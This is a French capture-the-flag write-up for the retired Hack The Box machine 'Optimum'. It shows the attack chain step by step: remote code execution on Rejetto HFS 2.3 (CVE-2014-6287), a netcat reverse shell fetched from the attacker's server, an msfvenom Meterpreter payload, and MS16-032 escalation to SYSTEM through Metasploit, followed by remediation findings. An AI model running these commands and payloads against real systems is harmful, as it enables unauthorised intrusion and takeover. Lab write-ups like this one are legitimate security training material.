picsou@htb:~/writeups/easy/optimum$

Windows Easy

Optimum : RCE HFS 2.3 (CVE-2014-6287) puis MS16-032

RCE non authentifiée sur Rejetto HFS 2.3 pour le foothold, puis élévation kernel MS16-032 (CVE-2016-0099) via Metasploit pour SYSTEM.

box
Optimum
os
Windows
difficulté
Easy
publiée le
temps
40 min
indices
aucun
outils
nmap metasploit msfvenom netcat
techniques
Scan de ports Exploit public (CVE) Exploit noyau via Metasploit (local_exploit_suggester)
cve
CVE-2014-6287 CVE-2016-0099

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. Un seul service web : Rejetto HttpFileServer 2.3 sur le port 80.
  2. HFS 2.3 est vulnérable à CVE-2014-6287 (RCE via macro {.exec.} injectée avec un null byte).
  3. L'exploit public donne un shell kostas (utilisateur simple, aucun privilège notable).
  4. La machine est une Server 2012 R2 non patchée : MS16-032 (CVE-2016-0099) élève vers SYSTEM.
  5. Le module Metasploit ms16_032_secondary_logon_handle_privesc est bien plus fiable que la version PowerShell du script.

Reconnaissance

kali
nmap -sC -sV -oA nmap/optimum 10.129.76.222
nmap
80/tcp open  http    HttpFileServer httpd 2.3 (Paessler PRTG bandwidth monitor)
|_http-server-header: HFS 2.3
|_http-title: HFS /

Un seul port, et la page affiche en clair, dans son bloc "Server information", HttpFileServer 2.3 avec un lien vers rejetto.com/hfs. Version figée et ancienne : direction searchsploit.

Foothold

CVE-2014-6287

HFS 2.3x (avant 2.3c) a une faille dans le parser de macros : la regex findMacroMarker est contournable avec un null byte (%00), ce qui permet d'injecter une macro {.exec|...} via le paramètre search et d'exécuter des commandes côté serveur.

kali
searchsploit hfs
searchsploit -m 39161

Le script 39161.py enchaîne trois requêtes macro : il dépose un VBS qui télécharge nc.exe depuis un serveur HTTP attaquant via certutil/XMLHTTP, puis l'exécute en reverse shell.

Prérequis côté Kali, dans deux terminaux séparés :

kali
python3 -m http.server 80        # sert nc.exe, terminal A
sudo nc -lvnp 9001               # attrape le shell, terminal B

Puis l'exploit (il faut Python 2, le script utilise urllib2 et des print d'ancienne syntaxe) :

kali
python2 39161.py 10.129.76.222 80

Le shell remonte en tant que kostas :

shell
Microsoft Windows [Version 6.3.9600]
C:\Users\kostas\Desktop> type user.txt

Élévation vers SYSTEM

whoami /priv ne montre que SeChangeNotifyPrivilege et SeIncreaseWorkingSetPrivilege : aucun privilège exploitable (pas de SeImpersonate). C'est donc un exploit noyau. La machine est une Server 2012 R2 (build 9600) dont le dernier hotfix date de fin 2014 : MS16-032 est le candidat canonique.

MS16-032 (CVE-2016-0099)

MS16-032 exploite une race condition sur le service Secondary Logon (seclogon) : un handle de thread privilégié est laissé fuiter, et on le réutilise pour voler un token SYSTEM.

La voie fiable passe par Metasploit, via une session Meterpreter.

kali
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.84 LPORT=4444 -f exe -o met.exe

On dépose et exécute met.exe depuis le shell nc (via certutil), le handler multi/handler (payload x64, LHOST tun0) attrape la session. Ensuite on confirme le vecteur et on lance le module :

msfconsole
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
suggester
ms16_032_secondary_logon_handle_privesc   Yes   The service is running, but could not be validated.
cve_2020_0787_bits_arbitrary_file_move     Yes   Vulnerable Windows 8.1/Server 2012 R2 build detected!
msfconsole
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set LHOST tun0
set LPORT 4445
run

Le module affiche quelques erreurs non bloquantes (NtImpersonateThread failed), puis gagne la race :

SYSTEM
[!] Holy handle leak Batman, we have a SYSTEM shell!!
[*] Meterpreter session 2 opened
meterpreter > shell
C:\Users\kostas\Desktop> whoami
nt authority\system
C:\Users\Administrator\Desktop> type root.txt

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1Rejetto HFS 2.3 exposé, RCE non authentifiée (CVE-2014-6287)CritiqueMettre à jour vers 2.3c+, ou retirer HFS ; ne pas exposer ce service
F2Service web lancé sous un compte utilisateur non isolé (kostas)MoyenneCompte de service dédié à privilèges minimaux
F3Windows Server 2012 R2 non patché (dernier correctif fin 2014), MS16-032CritiqueAppliquer les mises à jour de sécurité, politique de patch management

Leçons apprises

  • Une version figée dans la bannière (ici HFS 2.3) oriente directement vers searchsploit : la recon paie.
  • Les PoC anciens sont souvent en Python 2 : vérifier urllib2/print avant de les lancer avec python3.
  • Pour un privesc kernel, local_exploit_suggester sur une session Meterpreter fait gagner du temps et évite de deviner le bon MS16.
  • Quand un exploit local échoue systématiquement (et pas aléatoirement comme une race), c'est un problème de contexte ou d'outil, pas de chance : changer d'approche plutôt que relancer en boucle.

Références